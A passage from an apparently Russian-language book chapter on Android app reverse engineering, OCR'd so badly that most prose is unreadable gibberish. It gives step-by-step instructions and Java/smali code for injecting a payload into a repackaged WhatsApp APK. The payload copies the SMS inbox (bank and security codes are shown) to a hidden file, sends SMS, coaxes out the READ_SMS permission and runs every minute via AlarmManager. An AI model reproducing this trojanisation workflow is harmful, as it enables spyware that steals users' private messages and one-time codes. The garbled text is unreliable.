BXOJALLAs B KOMIUIEKT HHCTPYMEHTOB COOpPKH, KOTOPBIE MOXKHO YCTAaHOBHTB C HCIIOJB30-
BaHHeM Android Studio. SI npeamonoxy, YTo OH HaXxoOMTCS B Kartajore ~/Android/
android-sdk-1linux/build-tools/31.0.0/dx (mpH mepBoM 3amycke Android Studio mpenso-
XKHT YCTAHOBHTb 3TH HHCTPYMEHTHI CaMma):

$ javac Test.java
$ ~/Bndroid/Sdk/build-tools/31.0.0/d8 Test.class
$ baksmali classes.dex

Ha BeIxoze nonyyaem cnenyroumuii kox smali:

.method protected hasPrime ()2
.registers 1
const v0, 1
return vO0

.end method

OH 06BABNAET KOHCTAHTY v0 CO 3HaYeHHeM | u Bo3Bpauiaet ee (B Dalvik Tun boolean —
3TO int, KOTOPBIA MOXET UMeTh 3HaueHHe | — true wnu 0 — false). Ocranoce ToNbLKO
BCTaBHTb 3TOT KOJl BMECTO OPHIHHAABHOrO U cobpaTh nakeT o6parTHo:

$ apktool b application
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INakeT nosABUTCA B KaTajiore application/dist. HepenmeHyeM €ro, YTOOBI HE 3anyTaThbCA:
$ mv application/dist/application.apk application-fake-hasPrime.apk
U noanruueEM ¢ NOMOLIBKO TECTOBOI'O KJaro4a:

$ sign application-fake-hasPrime.apk

B pe3synbTaTe B TekylueM KaTajore MOSIBUTCA Cbaﬁﬂ application-fake-hasPrime.s.apk.
Ocraercs TONBKO 3aKHHYTb €ro Ha KapTy namsAaTu U YCTAHOBHUTH, YAAJIUB NEPEN 3THM
OPUTrHHAJILHOE MPHUJIOKEHHUE.
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BHeapsemca B yyxoe npunoxeHue

B a10it rnaBe mbl BHeapuM koA B WhatsApp — MeranomnynspHbelii MecceHIxkep, BXOIs-
wuii B Ton-10 Bcex Mara3MHOB NMpPHIIOXKEHHH 32 Bce BPeMEHAa M, KOHEYHO e, HEPEAKO
CTaHOBALUMIACA LENbI0 XaKepoB, NOOABIAIOLIMX B HEro camMble pa3Hble 3JOBPEAHbIE
¢byHKUHMH. Tak 4YTO HHCTPYKLHMS NMOTy4HTes 6osee yeM HarjIsAHOM.

Miwem Touky Bxopna

Kak u B mpoumslii pa3, ugem Ha apkpure.com, BOMBaeM B CTpPOKY MOHCKa aJpec
WhatsApp B Google Play u ckaunBaem naker APK. JIns yno6cTBa nepeMMeHOBbIBaEM
€ro B whatsapp.apk H MepeMellaeM B Kataior ~/tmp. Bcio aaneHeiiuyto paboty Mbl Oynem
BECTH B HEM.

Cnenyrowuit Wwar — HaWTH HauWTyyllee MECTO Ul BHEApEHHs 3noBpeaHoro koaa. Ilo
O0OBEKTHBHBIM NMPHYHHAM TaKOE MECTO — 3TO CaAMOE€ Hayajo KoJa MPHIOKEHHS, U €ClTH
Obl Mbl HMeNH [0 ¢ OOBIYHOH «HAacTONbHON» BepcHeit Java, To 3TO Gbln OB MeTOR
main() OCHOBHOrO Kiacca npuioxeHus. OnHako B Android vcnonHeHHe NMpPHIOXKEHHS
HayMHaeTcs He ¢ main(). MakTHYECKH y 3AelIHero codra BooOLUEe HET €AUHOH TOYKH
BXO/1a, OHO COCTOHUT H3 MHOXXECTBAa KOMIIOHEHTOB, KaXXblii H3 KOTOPBIX MOXKET MOJTY4YHTh
yrnpaBjieHHe NMPH BO3HHKHOBEHHH TOrO HIIH HHOT'O COOBITHS.

Ecnu Mbl XOTHM, 4TOOBI Halll KOJ 3amycKalcs MpH cTapTe npuioxenus ¢ Pabouero cro-
J1a, HaM HYXXHO BCTaBHMTb €ro B KJIacC, MOJyYalOLHi ynpaBjieHHe NpH BO3HHKHOBEHHH
coObiTHs (ecii OBITb TOYHBIM, 3TO Ha3bIBAETCA «HHTEHT») android.intent.action.MAIN
KaTeropHH android.intent.category.LAUNCHER. UTOOBI HalTH 3TOT Kiacc, MpHAETCs paso-
6patb WhatsApp ¢ nomouisto apktool u npountaTs aiin AndroidManifest.xml (puc. 7.1).

$ apktool d whatsapp.apk
$ less whatsapp/AndroidManifest.xml

HckoMblii K1acc HOCHT HUMs com.whatsapp.Main. OTKpbIBa€M ~/tmp/whatsapp/smali/com/
whatsapp/Main.smali M HLLIEM METOJ OnCreate (), MOKa3aHHbIN HA pHC. 1.2.



96 YACTb Il. Mnaea 7

| Daitn Npasxa UncTpymenTsi CunTakcuc Bydepsi Oxwo Encoding Cnpaexa

android value="632.8dip
ow.DEFAULT SIZ android:value="598.08dip
dow . MINIMUM_STZE \ android:value="632 0dip"

dow .MINIMUM ST7 android value="598 0dip">

<activity android theme FOBO12 ndroid:nam 0 stsapp. Conversation” android:configChanges
SoftInputMode- "6x06660001 ">
<inter er>
<action android name="andr i.intent . acti ENDTO">
egory android: nam ndr intent.category.DEFAULT">
<category android:name="android, intent.category.BROWSAB
android: scheme

android. scheme

AndroidManifes ml [xml]
~ BU3YANbHbIW PEXUM - -

Puc. 7.1. AndroidManifest.xml

Qann Mpaska WNHcTpymenTh Cuwraxcuc Bydepw Orno Encoding Cppaexa

:pswitch_3
pswitch ©
:pswitch_4
:pswitch 2
:pswiteh 5
:pswitch_6
end packed switch
.end method

.metlod protected onCreate(lLandroid/os/Bundle; )V
locals 6

prologue
const/4 v1, Ox1l

const/4 vZ, 6x0

.line 95
const-string/jumbo vO, "MainActivitylnit

invoke static {vO}, Lcom/whatsapp/]/d;->a(ljava/lang/String;)l.com/whatsapp/j/e;
move ‘result-object v3

line 96
iget -wide v4, pO, Lcom/whatsapp/Main;->k:J

invoke-interface {v3, v4, v5}, Lcom/whatsapp/}/e;->a(J)}V

line 97
sget -object vO, Lcom/whatsapp/}/eSe; >a:lcom/whatsapp/j/ese;

iget-wide v4, p®, Lcom/whatsapp/Main;->k:J
dain.small

Puc. 7.2. Metoa OnCreate()

370 M ecTb UCKOMas Toyka BXxozaa. C 3Toro Meroaa HaYMHAETCA MCMOJIHEHHE MPUIIOKeE-
HMA, KOrJa OHO nony4aeT UHTeHT android.intent.action.MAIN, npyrumu cnoBamu, koraa
MO/b30BaTeNb TAanaeT Mo MKOHKE MPHUJIOXKEHHA nanbleM. B 3tor Meton Mbl OyneM BHe-
IpAThb Haw payload.
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TTuwem payload

Kakoii xe xoa mbl BHeapum B WhatsApp? Jlns Hayana 3acTaBUM €ro BbIBECTH Ha 3KpaH

"coobuienne «Hi from malware!». OyeHb npocTas B peanusauuu ¢yHKLHUS, KOTOpas Mo-
3BOJIMT OBICTPO MPOBEPHTH, YTO BCe paboTaeT Tak, Kak Mbl U pacCHUHThIBaIH. Mbl He Oy-
J€EM BCTaBJATb B KOJ OTAEJbHBIE KyckH smali-koga, a BMECTO 3TOro CO3JaJuM HOBBIMH
KJ1acc, METOoAbl KOTOporo yxe U Oynem Bbi3biBaThb M3 koga WhatsApp. Takol moaxon
ropaszo 6onee ynob6eH U No3BOJIAET KaK YTOAHO PaclIUPATh GYHKLHOHAIBHOCTb NMPHIIO-
JKEHHUSA, BHOCS B €r0 OPUrHHAJbHBIA KO MHHUMA/IbHbIE H3MEHEHHS.

Puc. 7.3. MNpocrenwnin payload

Hrak, otkpeiBaeM Android Studio, coznaem HoBblif mpoekT, B none Application name
MHLIEM Whatsapp, a B nojie Company domain — com. Takum 06pa3oM, cpena paspaboTku
cama pa3MEeCTHT Halll kjiacc B nakere com.whatsapp, TouHO Tak ke, Kak B OPHIHHaJIb-
HoM npunoxeHuH. [1pu Beibope Tuna akTHBHOCTH (Add an activity) Bei6upaem Add No
Activity. B neBoit yacTu 3kpaHa pa3BopaiyHBaeM CNHCOK app — java — com.whatsapp
M C MOMOLLBKO NpaBod KHOMKH MBILIKM co3aaeM HoBbli kiace Payload (puc. 7.3). lo6as-
JIiEM B HETO CJIEAYIOLIHE CTPOKH:

java = ,_ fr e

package com.whatsapp;

import android.content.Context;
import android.widget.Toast;
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public class Payload {
public static void run(Activity activity) {
Toast.makeText (context, "Hi from malware!", Toast.LENGTH LONG).show();

3TO H €CTh Halll KJIacC C €JMHCTBEHHBIM CTaTHYECKUM METOJIOM, KOTOPBIH MPOCTO BBIBO-
JUT Ha 3KpaH coobumenue. Tenepp Knacc HEOOXOAMMO CKOMIMIMPOBATh H TPAHCIHPO-
Bath B Oaiit-kon Dalvik. C momolusto cpenpl pa3pabotku 6e3 TaHueB ¢ 6y6HOM 31O cae-
JIaTh HE yJacTCA, O3TOMY BBIIIOJIHUM 3Ty ONEPALUIO U3 KOMaHIHO#H CTPOKH.

Jlna Havyana co3gaguM B ~/tmp KaTaJIOTOBYIO CTPYKTYPY, QHAJIOTHYHYIO OPHIHHAJIBHOMY
NPHJIOKEHHIO, U CKOTIHPYEM B Hee HCXOIHBIN Ko Kiacca:

$ mkdir -p com/whatsapp

$ cp ~/AndroidstudioProjects/Whatsapp/app/src/main/java/com/whatsapp/Payload.java com/
whatsapp

Teneps CKOMIUIIHpPYEM €ro U TpaHcaupyeMm B koa Dalvik:

$ javac -classpath ~/Android/android-sdk-linux/platforms/android-33/android.jar com/
whatsapp/*.java

$ ~/Bndroid/Sdk/build-tools/31.0.0/d8 com/whatsapp/*.class --lib

Android/Sdk/platforms/android-33/android.jar com/whatsapp/*.java

B Tekymem karanore (~/tmp) AOJDKEH MOABUThCA (aiin classes.dex. Ero Heobxommmo
au3acceMOTHpOBATh:

$ baksmali classes.dex

3aTeM ero cieqyer CKOMAPOBAaTh B KAaTajlor C paHee Au3acceMOIMpOBaHBIM KOIOM
WhatsApp:

$ cp out/com/whatsapp/*.smali whatsapp/smali/com/whatsapp

.

Bursszeaem payload

Tenepp B nusaccembiupoBanHOM koiae WhatsApp ecTh Haiml Kjacc, OCTanoch TOJBKO
BBI3BaTh €r0 CTATHYECKHM MeToA run(). YTOOKI 3TO caenaTh, JOCTATOYHO J0OaBHTH Clie-
AYIOLIYIO CTPOKY KyJa-TO B Ha4aJlo METO/Ia onCreate () :

invoke-static {p0}, Lcom/whatsapp/Payload;->run(Landroid/app/Activity;)V

Ha Java stot koa Beirigaen Ovl Tak:

Payload.run(this) ;
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To ectb HHCTPYKLHMA invoke-static, MO CyTH, HMEET TaKoH BHUA:

invoke-static {aprymenT}, Luma_xnacca;->vMA_MeTona (TUM_apTyMeHTa; )
TUN_BO3BPAWlaeMOTO_3HayeHUA

Peructp p0, kOTOpBI Mbl MEpeaany B KaYeCTBE apryMeHTa, BCEra CChUIAETCA Ha TEKy-
WK 00BEKT U 3KBUBAJIEHTEH KJIIOYEBOMY CJIOBY this B Java. Tekywuii o6bekT B JaHHOM
clly4ae MMeeT Kiacc Activity, Mbl epelaéM ero MeToAy run() HaIlUero kjiacca, 4Tobbl OH
CMOT HCMOJIb30BaTh €ro Ui BbIBOAA coo0LIeHHS Ha 3kpaH (puc. 7.4).

Qann Mpaska WHCTpyMeHTbl CwHTakcnc Bydepst OkHo Encoding Cnpaska
goto/16 :goto_1

.line 184
:pswitch_data_@
.packed-switch 0x0
:pswitch_1
:pswitch 2
:pswitch_3
:pswitch @ |
:pswitch_4
:pswitch 2
:pswitch 5
:pswitch 6
.end packed-switch
.end method

.method protected onCreate(Landroid/os/Bundle;)V |
.locals 6

.prologue
const/4 vl, Oxl

const/4 v2, 0x0

.line 95
const-string/jumbo vO, "MainActivitylnit”

invoke-static {v0}, Lcom/whatsapp/j/d;->a{lLjava/lang/String;)Lcom/whatsapp/j/e;

move-result-object v3

.line 96
ain.smali[+] [775,86][61%]]~

-- BU3YAJIbHbI PEXMM - - 76

LA 20 — —_— ey T ]

Puc. 74 MeTtoa OnCreate() ¢ HalWWM KOAOM

Bce, octanoce Tonbko cobpate WhatsApp o6patHo B APK # moanucath TECTOBBIM KITHO-
YOM:

$ cd ~/tmp/whatsapp

$ apktool b

$cd..

$ cp whatsapp/dist/whatsapp.apk whatsapp-payload.apk
$ sign whatsapp-payload.apk

IMonyyeHHsI# aitn whatsapp-payload.s.apk 3aKHIbIBa€M Ha KapTy NnaMsaTH H yCTaHaBJIHU-
BaeM (puc. 7.5).
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MNMpepynpexaexne

Y Bac ycrtaHoBneHa U3MeHeHHas
Bepcus ROM. MiaMeHeHHbie Bepcuu
ROM moryT kKoHnukTOBaTH

¢ WhatsApp Messenger 1 He
obcnyXuBaraTCA Hallen cnyx6oin
nNoaAEpXKHU.

OK MOAROBHEE

Hi from malware!

Puc. 7.5. Cpa6orano!

Kpaaem aaHHbIe

Kakoit sxe 3T0 3710Bpef, eclii BMECTO KPaXkH JIMUHOH MHOPMALMH OH TONBKO M J€NaeT,
yto coobuaer o ce6e? Takoii 3n0Bpe COBCEM He 3MOBPEIHBI, MO3ITOMY ceiyac Mbl
CYIECTBEHHO PaclUMPHM BO3MOXHOCTH Haulero payload. OH Hukak He GyaeT BblaaBaTh
CBOEro NMPHUCYTCTBHS, a BMECTO 3TOrO MPOCTO CKHHET Bee BxoasAwmne SMS B ¢aiin Ha kap-
T€ MaMATH:

public class Payload {
public static void run(Activity activity) {

Cursor cursor = activity.getContentResolver ().
query (Uri.parse("content://sms/inbox"), null, null, null, null);

try {
PrintWriter pw = new PrintWriter (new BufferedWriter (new FileWriter (
activity.getApplicationInfo().dataDir + "/sms.txt", false)));
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if (cursor !'= null && cursor.moveToFirst()) f{
do {
String address = null;
String date = null;
String body = null;

for (int idx = 0; idx < cursor.getColumnCount (); idx++) {

switch (cursor.getColumnName (idx)) {
case "address":

address = cursor.getString(idx);

break;
case "date":

date = cursor.getString(idx);

break;
case "body":

body = cursor.getString(idx):

}
pw.println("From: " + address);

SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH:mm:ss");

String dateString = formatter.format (new Date (Long.valueOf (date)));

pw.println("Date: " + dateString);
pw.println("Body: " + body):
pw.println();
} while (cursor.moveToNext()):;

}

pw.close();

cursor.close();

} catch (Exception e) {}

HanHblii kon yutaet 6a3y qaHHbIX SMS M 3anHchIBaeT B NPUBATHBIH KaTalor NMpHIOkKe-

HHA KpacHBbIH TeKCTOBBIH (aiin sms.txt (pHc. 7.6), conepxamuit SMS B popmare:

From: HOoMep
Date: nmara
Body: TekcT

[Tpn HEO6XOAMMOCTH KOI MOXHO IOMOJHHTB, YTOOBI ¢aiin cpa3dy clMBajiCi Ha yJaleH-
HBbIH cepBep, a 3aTeM YHHUTOXaJcs, A1abbl He OCTaBNAThH cienoB. Yto6wl koxa 3apaboran,
B MaHHQeCT NMpUIOKEHHA (~/tmp/whatsapp/AndroidManifest.xml) HeoOXoaUMO A0GaBHTH

paspeleHie Ha yteHue SMS:

<uses-permission android:name="android.permission.READ SMS"/>
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m 14:06 v4D

& smsitxt v ~ B

1. From: QIWI_Wallet

Date: 2016.09.12 11:30:36

Body: Kapra m-eSl™=Sakt  sepsu
ocTanbHble pekeu3uTbl http.//w.qiwi.ru

w

&

From: QIWI_Wallet

Date: 2016.09.12 11:28:51

Body: 164713 kod dlja registracii Visa QIW!
Wallet. Nikomu ne soobwajte.

N wn

u x

From: teleservice

Date: 2016.09.11 10:44:01

Body: Baw kop 6e3onacHocTu— 422037.
Monb3ynTech ¢ ynosBonbcTeuem!

1

12

3 From: teleservice

4 Date: 2016.09.11 10:42:05

5 Body: Baw kop 6e3onacHocTu— 016315.
Monb3ynTech ¢ yaosonocTanem! -

16

17 From: Yandex

1¢ Date: 2016.09.11 10:15:49

12 Body: Baw kop noaTsepxaeHus: 691894,
HabepuTe ero B none BBoaa.

20
Zi From: Balance
22 Date: 2016.09.70 10.58:35

Ln:1 Col:0 Ch:1 Sel:0j0 |

autee)

Puc. 7.6. ®ainn sms.txt, chopMUpoBaHHbLIA HALIUM KOAOM

Jlanee ocraeTcs ToJIbKO CKOMIWIMPOBATh KJacc, neperHath B smali, CkonupoBaTh B MpH-
JI0XKeHHe, cobpaTh U MOANMHMCATH €ro, TaK K€ KaK MBI IeJIaJid 3TO B MpeAbLIyLIEM pa3iene.
OpranuzoBath oTnpaBky SMS Ha KOpPOTKHif HOMEp M TOTO MpOLLE:

Ejava

public class Payload {
public static void run(Activity activity) {
PackageManager pm = actvity.getPackageManager ();
if (!pm.hasSystemFeature (PackageManager.FEATURE TELEPHONY))
return;

SmsManager.getDefault () . sendTextMessage ("HOMEP_TEJIEGOHA", null,
"TEKCT_COOBIEH/A", null, null);

[TpuueM B 3TOM cllyuae Aake He HAJO MPaBUTh AndroidManifest.xml — MpaBa Ha OTIPaB-
Ky SMS y WhatsApp yxe ecTb.

B uenom Bce MpoCTO, HO €CTb OAHO GoNbIIoE «HOM! I[eno B TOM, 4YTO ABa MPUBEACHHBIX
BBILIE KyCKa KOJa 6)’)1)”1‘ OTJIMYHO pa60TaTb TOJIBKO A0 TE€EX MOp, [MOKAa Bbl HE YCTAHOBHUTE
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xakHyTbii WhatsApp Ha cmapTtdon noa ynpasnendeM Android 6.0 u Bbie. CneacteueM
3TOro CTaHET MaJeHHe MPHUIOKEHHs Ha CTapTe, a MPHYHWHA B TOM, YTO «LIECTEPKa» Tpe-
OyeT sBHOro 3ampoca npae (B TOM yHciie Ha yteHHe SMS u), nepea TeM kak GyHKLHH,
3allMILEHHBIE 3THMH NpaBaMH, OyAyT HCNONb30BAHBI.

W 3peck MBI nonagaem B OIHY HE OY€Hb MPUATHYIO CHTYalLHIO. 3aNpOCHTh NpaBa Mbl MO-
JKE€M, BOT TOJIbKO CamMa CHCTEMa 3arpoca fpaBa peaji30BaHa He B HaLIy MOJIb3Y, MOTOMY
kak cobeiTHe «Ilonp3oBarenpy Haxan “J{a”» MoxeT ObITb 00pabOTaHO TOJMBKO AKTHB-
HOCTBIO TPHJIOKEHHS C TMOMOLIBIO KOJIIO3Ka onRequestPermissionsResult(). Jpyrumu
CJIOBaMH, MPHAETCSH BHOCHTh H3MEHEHHS B CaM Main.smali.

Ho ectb croco6 mpowe 1 npumutHBHee. Ha caMoM nene, Ham coBceM He 00s3aTenbHO
JOXHAATHCS, MOKA M0JIb30BaTeNIb HAXMET KHOMKY «J{a» unu «Het», nocne HaXxaTus cuc-
TeMa Tak MM HHaue JHO0 JacT pa3pelieHHe Ha BBIMOJIHEHHE OMNepaLH, JIMOO 3anpeTHT
ee. [loaToMy MBI MOXKEM MpPOBEPHYTh TAaKOH TPIOK: MPH MEPBOM 3amycke MPHIOKEHHS
MPOCTO 3anpalliBaeM MpaBa U HUYEro He [esIaeM, MpH CIEQYIOILEM 3aIyCKe MpOBeEpseM,
€CITH MpaBa yxe ecTh, TO 3anyckaem Payload:

java

public class Payload {
public static void run(Activity activity) {
if (android.os.Build.VERSION.SDK INT >= 23) {
if (!requestPermission(activity))
return;
}

// ...xom Meroma run() W3 MpemsOyWwero npuMMepa.. .

@TargetApi (23)
private static boolean requestPermission(Activity activity) {
if (activity.checkSelfPermission(Manifest.permission.READ SMS) !=
PackageManager.PERMISSION GRANTED) {
activity.requestPermissions (new String[]{Manifest.permission.READ SMS}, 123);
return activity.checkSélfPermission(Manifest.permission.READ_SMS) ==
PackageManager.PERMISSION GRANTED;
} else {
return true;

TTepuoaunueckue 3anaum

OcHoBHas npobieMa Tekywed peanu3auuH payload 3akmioyaercs B TOM, YTo OH Oyder
3amyIleH TOJbKO BO BPEMS XOJIOAHOIO CTapTa MPHJIOXKEHHs, T. €. NPH NMEPBOM 3amycke,
CTapTe Mociie nepe3arpy3kd JH00 rocjie TOro, kak NpHJIOXeHHe OydeT BBITECHEHO W3
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naMATH cucTeMoH. Jns equHOpa3oBoOH 3aaayH 310 HopMasibHO. HO UTO ecnu MbI XOTHM,
yToOBI Hall 3710Bpex paboTai B GpoHe?

JIns 3TOro MOXKHO MCHOJNIB30BaTh cepBHUC. TO €CTh CreLHanbHbIH MOTOK, KOTOpBIH Oyaer
BHCETh B OHE M JeNaTh HY)KHyI0 HaM paboty. OfHako Ui Hallei 3a1auH 3TO CIIMIIKOM
u36bITOYHOE pelnenue. ['opazno ynobHee ucnons3oBate AlarmManager — criennanbHyo
noxacucteMy Android, mo3BossIOLIYIO 3aMycKaTh HYXHBIH KOJ Yepe3 onpeneieHHble HH-
TepBaJibl BpeMeHH. B oTinume ot cepBucos, AlarmManager He TpeOyeT MoaHbHKaLUH
AndroidManifest, mocratouHo mpocTo mpuBecTH kop Kkiacca Payload k cienyrouiemy
BHIY:

public class Payload extends BroadcastReceiver {
public static void run(Activity activity) {
AlarmManager am = (AlarmManager) activity.getSystemService (Context.ALARM SERVICE) ;
Intent intent = new Intent (activity, Payload.class);
PendingIntent pIntent = PendingIntent.getBroadcast (activity, 0, intent, 0);

am.setInexactRepeating(AlarmManager.ELAPSED REALTIME WAKEUP,
SystemClock.elapsedRealtime(), 60 * 1000, pIntent);

}

@Override
public void onReceive (Context context, Intent intent) {
// ...370BpemHLlt KOI. ..

Meroa run() ycraHaBnuBaer Alarm, KOTOpbIH JO/DKEH cpabaThiBaTh KaXKAYI0 MHHYTY
(60 * 1000 MunTHCEKYHA) U 3aITyCKaTh KOJ, YKa3aHHBIH B METOJE onReceive.
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TTpoaupaemcsa
CKBO3b O6PYCLMPOBAHHLIA KOA

IIpeapiayye nBe riaBbl HArJISAHO MOKA3bIBAalOT, HACKOJIBKO JIETKO B3710MaTh H MOAHGH-
uupoBath npunoxeHue s Android. OqHako He Bceraa 3To cToib ke npocto. Hekoro-
pble pa3paboTYHKH MPUMEHAIOT 06¢ycKaTOpbl H CHCTEMBI LIHGPOBaHHUS, KOTOPbIE MOTYT
CYLUECTBEHHO OCJIOKHHTB JKH3Hb PEBEpPC-HH)KEHEPA, MO3TOMY MbI MOFOBOPHM O TOM, Kak
pazobpaTbcs B HAMEPEHHO 3alyTaHHOM KOJE, a 3a0AHO B3JIOMaeM €Il OAHO MPHIIO-
KEHHe.

Kak paboraer obgyckauua

Ha camMoM nene, BBl yke AODKHBI OBITh 3HAKOMBI Kak MHHHMYM C OJHHM METOJIOM
o0¢yckauuu (3anyrbiBaHus) koaa. Eciu mocne mpouteHus npeablaylIHX ABYX IJ1aB Bbl
caMH npoOoBaNH IEKOMMWIHPOBaTh pa3lIuHble MPHIOKEHHS, TO HaBEePHAKA 3aMETHIIH,
YTO B HEKOTOPBIX CJIy4yasX K1accChl MPUJIOXKEHHs, €r0 METOBI U MOJs UMEIOT CTpaHHbIE
HMeHa, Bpoae «aa», «ab» nubo uro-to Hamogobue «2F323988C», ecnu cMoTpeTh koA
C MOMOLIBIO JEKOMIUIATOPA jadX.

3710 U ecTb 006¢ycKkalLs, U 1 MOTY C MOJHON YBEPEHHOCTBIO YTBEPXKIATh, YTO MPOJeIaHa
OHa ¢ noMouupto UHcTpymeHTa ProGuard w3 xommiekra Android Studio. UMeHHO oH
BBIJAET Ha BBIXOJE TaKHE CTpaHHbIE HMEHa KJ1acCOB, METOOB H MoJIei, a KpoMe Toro,
yJasseT HEUCNOb3yeMblii KO M ONTMH3HPYET HEKOTOPBIE Y4aCTKH MPHIIOKEHHS C MO-
MOLLBbIO HHJIAIHUHIa METO/IOB.

HpOl'lylLleHHl:lFl qyepes ProGuard kop 6onee KOMIIAKT€H, 3aHUMAE€T MECHBLIEC MNMaMATH H Ha-
MHoro 6oJiee clioXeH A noHuMaHus. Ho Tonbko B ToM CJly4yae, €CJIF NMPHJIIOKEHHE N0C-
TAaTOYHO KPYITHOE.

Pa3obpatbcs, uto Aenaet npoctoi 06¢ycLHMpoBaHHBIH KOA, O4Y€Hb JIErKO:

public int a(int a, int b) {
return a + b;
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Ho npencraBebte, uto Oyaet, eciid U3 noAoOHbIX OYKBEHHBIX, HUPPOBLIX HIH OYKBEHHO-
uu¢poBbix o603HaueHuit (ProGuard no3Bonser Hcnonb3oBaTh Jr000# cloBaph s reHe-
pauMH UAEHTHPHUKATOPOB) OyIET COCTOATh MPOMO3JKOE MPUIOKEHHE U3 IECATKOB ThICAY
CTPOK KoJa:

if (this.f6259xa29£3207 != null) {
this.f6259%a29£3207.m9502x15f0e18c (false) ;
this.£6259%xa29£3207 = null;

}

if (this.f6269x98c88933 != null) {
this.£6269x98c88933.m9388x97b0al38 () ;
this.£6269x98c88933 = null;

H Tak Ha ThICAYH CTPOK BNEPEN, a AajibLU€ Balll ACKOMIIHIATOP MOXET IMONEPXHYTHCA
KOJIOM H BbIIaTh BMECTO Java HeuTo BpOA€ 3TOro:

/* JADX WARNING: inconsistent code. */
/* Code decompiled incorrectly, please refer to instructions dump. */

private synchronized void m8713x6e6c3e67() {
/*
rl6 = this;
rld 0;
rl = 2;
r9 = 0;
rl2 = 500; // Ox1f4 float:7.0E-43 double:2.47E-321;
r6 = 1;

HenypHo, He npaBaa nu? A Tenepb NMpeacTaBbTe, YTO 3TH CTPOKH COCTOAT HE H3 OOBIY-
HBbIX CHMBOJIOB andaBHTa, a u3 cuMBosioB Unicode (Tak nenaet DexGuard — kommepue-
ckas Bepcus ProGuard) unu nocnenoBaTenbHOCTEH BpoAe 11111, MOBTOPSIOLIMXCS pa3
9TaK naTbaecAT. Pa3paboTyuk BrMoNHE MOXET MPUMEHHTh M Oosiee MOLLUHbIE CpeICcTBa
o0dyckaluH, HaLUMHUIOBaB MpUIOXKEHHE GeccMbicieHHbIM KoaoM. Takok kox He Oyaer
BBIMOJIHATh HUKAKHUX MOJIE3HBIX QYHKLMH, HO MOBEIET BaCc COBEPIIEHHO HE B Ty CTOPOHY,
YTO 'PO3HUT KaK MHHHUMYM MOTepeH BpEMEHH.

He >xenas TepATh BpeMs, Bbl MOXKETE HayaTh C MOMCKA CTPOK, KOTOpbI€ MPHUBEAYT Bac
K LIEJIM: 3TO MOTYT ObITh pa3iiHuyHble HAEHTH(PHUKATOPDI, C MOMOLLBIO KOTOPbIX MPHIONKE-
HHE perucTpupyer cebs Ha cepBepe; CTPOKH, 3alHChiBaeMble B KOHGHI MpH OMJaTe;
naposu v T. 4. OfAHaKO BMECTO TaKHX CTPOK Bbl BMOJIHE MOXKETE YBHUAETb HEYTO BpOJE
3TOrO:
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private static final byte[] zb = new byte[]{110, -49, 71, -112, 33, -6, -12, 12, -25,
-8, -33, 47, 17, -4, -82, 82, 4, -74, 33, -35, 18, 7, -25, 31};

3to 3awmndpoBaHHas CTpoka, KOTopas pacuidgpOBbIBAETCS BO BpeMs MCMOTHEHHS MpH-
noxeHus. [logo6Hyto 3awmry npenaraet DexGuard, Allatory u MHorue npyrue o6gyc-
katopbl. OHa JeHCTBUTENBHO CMOCOOHA OCTAHOBHTH OYE€Hb MHOTHX, HO COJIb B TOM, YTO
€ciM ecTh 3aliMpOBaHHBIA TEKCT, 3HAYMT, B Koje AO/KeH ObiTh W aewndparop. Ero
OYeHb JIErKO HaHTH C MOMOLUBIO MOWCKA MO0 UMEHH MEpeMeHHOH (B JaHHOM cilyyae zb).
[lpn kaxxaoM ee HCMONB30BaHMM Bceraa OyAeT BbI3bIBATHCS MeTOA, AelMpyroLiuii
CTpOKY. BbIrnsaeTb 3T0 MOXET MpUMEPHO Tak:

a.alzb)

3nech MeToA a() Kjlacca «a» — 3TO M ecThb Aeiiddparop. [loatomy Bce, uto Tpedyercs
caenatb, YToObl y3HaTh, YTO BHYTPH 3allM¢pOBAHHOH CTPOKH, — 3TO MPOCTO A00aBHUThH
B AM3acceMONIMpOBaHHbIH KO MPHIOXKEHHS BbI30B GYHKLMH Log.d("DEBUG", a.a(zb)) H
cobpars ero obpartHo. [locne 3anmycka NpuaoXkKeHHe caMO BbIJACT B JIOT AeLIH(GPOBAHHYIO
CTpoKy. JIor MOXKHO MPOCMOTpETH, MO0 MOAKIIOUHB CMAPTHOH K KOMMBIOTEPY H BbI3BaB
KOMaHAy adb logcat, MO0 ¢ momouibto npunoxenuss MatLog (https:/play.google.com/
store/apps/details?id=com.pluscubed.matlog) nns Android (Tpedyer root).

Hepenko, npaBaa, npuxoauTcs nonoters, 4ToObl HaiTH aAewndpatop. OH MOxeT ObITh
BCTPOEH BO BrosiHe 6e300MaAHYI0 GYHKLUHMIO U AelindpoBaTh CTPOKY HESBHO, MOXKET CO-
CTOATh W3 HECKOJbKMX (QYHKLMH, KOTOpbI€ BbI3bIBAIOTCS Ha pa3HbIX 3Tanax paboTbl co
crpokoii. Cama 3awndpoBaHHas cTpoka MoxeT ObITh pa3bHTa Ha HeCKOJbKO 6JI0KOB, KO-
TOpble COOMpalOTCs BMeCTe BO BpeMs UCMOHEHHs npuiaokeHus. Ho camblit Mk — 310
KJ1acc-AeMpaTop BHYTPH MaccHBa!

DexGuard umeer ¢yHKLHIO CKPbITHS KJIacCOB, KOTOpas paboTaer cieayrolnM obpas3om.
BaiiT-ko1 ckpbiBaeMOro kjacca W3BJIEKAETCS W3 MPHIOKEHHS, CKUMAETCS C MOMOLIBIO
anroputMa GZIP u 3anucbiBaeTcs oOpaTHO B npuioxeHHe B ¢opme maccuBa OaiT
(byte[]). [lanee B mpuioxxeHHe BHeAPAETCS 3arpy3ylK, KOTOPbIH W3BJIEKAaeT KO Kiacca
M3 MaccHBa U C NMOMOLIBIO pedIEKCHH CO3JaeT Ha €ro OCHOBE OOBEKT, a 3aTEM BbI3bIBAaET
HyxHble MeTtoabl. M koHeuHo ke, DexGuard ucrnonb3yer 3TOT TpPIOK Ul CKpPBITHA
aewndpaTopa, a Takke KoAa APYrHX KJIaccoB, KOTOpble 3axoueT pazpabortumk. bonee
TOrO, CKpbIThie B MacCHBaX KJacchl MOTYT ObITb 3alIM(POBaHbI C MOMOLUBI CKPBITOrO
B Ipyrom maccHae aeuingparopa!

Tak 4TO ecnM Bbl MMEETE JIENO C MPHIIOKEHHEM, HMEHA KJIACCOB B KOTOPOM HAMMCaHbI Ha
KHUTaHCKOM sI3bIKE HWJIH C MOMOLIBIO CMAJIMKOB, a MO KoAy pa30pocaHbl CTpaHHbIE MacCH-
Bbl JJTHHO OT HECKOJIbKHX COT 3JIEMEHTOB [0 AECATKOB ThICAY, 3HaliTe — 31ech nopabo-
tan DexGuard.

